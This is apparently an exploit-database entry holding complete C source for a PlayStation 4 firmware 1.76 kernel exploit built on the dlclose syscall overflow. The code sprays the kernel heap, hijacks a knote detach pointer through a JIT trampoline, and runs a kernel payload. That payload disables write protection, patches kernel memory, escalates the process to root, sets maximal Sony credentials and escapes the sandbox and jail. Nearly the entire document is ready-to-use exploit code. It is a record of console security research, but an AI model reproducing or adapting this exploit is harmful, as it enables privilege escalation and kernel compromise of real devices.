Sony Playstation 4 (PS4) 1.76 - 'dlclose' Linux Kernel Loader

/*
	Code written based on info available here http://cturt.github.io/dlclose-overflow.html

	See attached LICENCE file
	Thanks to CTurt and qwertyoruiop

	- @kr105rlz

Download: http://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44206.zip
*/

#include "ps4.h"

#define DEBUG_SOCKET
#include "defines.h"

static int sock;
static void *dump;

void payload(struct knote *kn) {
	struct thread *td;
	struct ucred *cred;

	// Get td pointer
	asm volatile("mov %0, %%gs:0" : "=r"(td));

	// Enable UART output
	uint16_t *securityflags = (uint16_t*)0xFFFFFFFF833242F6;
	*securityflags = *securityflags & ~(1 << 15); // bootparam_disable_console_output = 0

	// Print test message to the UART line
	printfkernel("\n\n\n\n\n\n\n\n\nHello from kernel :-)\n\n\n\n\n\n\n\n\n");

	// Disable write protection
	uint64_t cr0 = readCr0();
	writeCr0(cr0 & ~X86_CR0_WP);
	
	// sysctl_machdep_rcmgr_debug_menu and sysctl_machdep_rcmgr_store_moe
	*(uint16_t *)0xFFFFFFFF82607C46 = 0x9090;
	*(uint16_t *)0xFFFFFFFF82607826 = 0x9090;
	
	*(char *)0xFFFFFFFF8332431A = 1;
	*(char *)0xFFFFFFFF83324338 = 1;
	
	// Restore write protection
	writeCr0(cr0);
	
	// Resolve creds
	cred = td->td_proc->p_ucred;

	// Escalate process to root
	cred->cr_uid = 0;
	cred->cr_ruid = 0;
	cred->cr_rgid = 0;
	cred->cr_groups[0] = 0;

	void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
	
	// sceSblACMgrIsSystemUcred
	uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
	*sonyCred = 0xffffffffffffffff;
	
	// sceSblACMgrGetDeviceAccessType
	uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
	*sceProcType = 0x3801000000000013; // Max access
	
	// sceSblACMgrHasSceProcessCapability
	uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
	*sceProcCap = 0xffffffffffffffff; // Sce Process
	
	((uint64_t *)0xFFFFFFFF832CC2E8)[0] = 0x123456; //priv_check_cred bypass with suser_enabled=true
	((uint64_t *)0xFFFFFFFF8323DA18)[0] = 0; // bypass priv_check

	// Jailbreak ;)
	cred->cr_prison = (void *)0xFFFFFFFF83237250; //&prison0

	// Break out of the sandbox
	void *td_fdp = *(void **)(((char *)td->td_proc) + 72);
	uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
	uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
	uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
	*td_fdp_fd_rdir = *rootvnode;
	*td_fdp_fd_jdir = *rootvnode;
}

// Perform kernel allocation aligned to 0x800 bytes
int kernelAllocation(size_t size, int fd) {
	SceKernelEqueue queue = 0;
	sceKernelCreateEqueue(&queue, "kexec");

	sceKernelAddReadEvent(queue, fd, 0, NULL);

	return queue;
}

void kernelFree(int allocation) {
	close(allocation);
}

void *exploitThread(void *none) {
	printfsocket("[+] Entered exploitThread\n");

	uint64_t bufferSize = 0x8000;
	uint64_t overflowSize = 0x8000;
	uint64_t copySize = bufferSize + overflowSize;
	
	// Round up to nearest multiple of PAGE_SIZE
	uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
	
	uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	munmap(mapping + mappingSize, PAGE_SIZE);
	
	uint8_t *buffer = mapping + mappingSize - copySize;
	
	int64_t count = (0x100000000 + bufferSize) / 4;

	// Create structures
	struct knote kn;
	struct filterops fo;
	struct knote **overflow = (struct knote **)(buffer + bufferSize);
	overflow[2] = &kn;
	kn.kn_fop = &fo;

	// Setup trampoline to gracefully return to the calling thread
	void *trampw = NULL;
	void *trampe = NULL;
	int executableHandle;
	int writableHandle;
	uint8_t trampolinecode[] = {
		0x58, // pop rax
		0x48, 0xB8, 0x19, 0x39, 0x40, 0x82, 0xFF, 0xFF, 0xFF, 0xFF, // movabs rax, 0xffffffff82403919
		0x50, // push rax
		0x48, 0xB8, 0xBE, 0xBA, 0xAD, 0xDE, 0xDE, 0xC0, 0xAD, 0xDE, // movabs rax, 0xdeadc0dedeadbabe
		0xFF, 0xE0 // jmp rax
	};

	// Get Jit memory
	sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle);
	sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle);

	// Map r+w & r+e
	trampe = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0);
	trampw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0);

	// Copy trampoline to allocated address
	memcpy(trampw, trampolinecode, sizeof(trampolinecode));	
	*(void **)(trampw + 14) = (void *)payload;

	// Call trampoline when overflown
	fo.f_detach = trampe;

	// Start the exploit
	int sockets[0x2000];
	int allocation[50], m = 0, m2 = 0;
	int fd = (bufferSize - 0x800) / 8;

	printfsocket("[+] Creating %d sockets\n", fd);

	// Create sockets
	for(int i = 0; i < 0x2000; i++) {
		sockets[i] = sceNetSocket("sss", AF_INET, SOCK_STREAM, 0);
		if(sockets[i] >= fd) {
			sockets[i + 1] = -1;
			break;
		}
	}

	// Spray the heap
	for(int i = 0; i < 50; i++) {
		allocation[i] = kernelAllocation(bufferSize, fd);
		printfsocket("[+] allocation = %llp\n", allocation[i]);
	}

	// Create hole for the system call's allocation
	m = kernelAllocation(bufferSize, fd);
	m2 = kernelAllocation(bufferSize, fd);
	kernelFree(m);

	// Perform the overflow
	int result = syscall(597, 1, mapping, &count);
	printfsocket("[+] Result: %d\n", result);

	// Execute the payload
	printfsocket("[+] Freeing m2\n");
	kernelFree(m2);
	
	// Close sockets
	for(int i = 0; i < 0x2000; i++) {
		if(sockets[i] == -1)
			break;
		sceNetSocketClose(sockets[i]);
	}
	
	// Free allocations
	for(int i = 0; i < 50; i++) {
		kernelFree(allocation[i]);
	}
	
	// Free the mapping
	munmap(mapping, mappingSize);
	
	return NULL;
}

int _main(void) {
	ScePthread thread;

	initKernel();	
	initLibc();
	initNetwork();
	initJIT();
	initPthread();

#ifdef DEBUG_SOCKET
	struct sockaddr_in server;

	server.sin_len = sizeof(server);
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = IP(192, 168, 0, 4);
	server.sin_port = sceNetHtons(9023);
	memset(server.sin_zero, 0, sizeof(server.sin_zero));
	sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
	sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
	
	int flag = 1;
	sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
	
	dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
#endif

	printfsocket("[+] Starting...\n");
	printfsocket("[+] UID = %d\n", getuid());
	printfsocket("[+] GID = %d\n", getgid());

	// Create exploit thread
	if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitThread") != 0) {
		printfsocket("[-] pthread_create error\n");
		return 0;
	}

	// Wait for thread to exit
	scePthreadJoin(thread, NULL);

	// At this point we should have root and jailbreak
	if(getuid() != 0) {
		printfsocket("[-] Kernel patch failed!\n");
		sceNetSocketClose(sock);
		return 1;
	}

	printfsocket("[+] Kernel patch success!\n");

	// Enable debug menu
	int (*sysctlbyname)(const char *name, void *oldp, size_t *oldlenp, const void *newp, size_t newlen) = NULL;
	RESOLVE(libKernelHandle, sysctlbyname);
	
	uint32_t enable;
	size_t size;
	
	enable = 1;
	size = sizeof(enable);
	
	sysctlbyname("machdep.rcmgr_utoken_store_mode", NULL, NULL, &enable, size);
	sysctlbyname("machdep.rcmgr_debug_menu", NULL, NULL, &enable, size);
	
#ifdef DEBUG_SOCKET
	munmap(dump, PAGE_SIZE);	
#endif
	
	printfsocket("[+] bye\n");
	sceNetSocketClose(sock);
	
	return 0;
}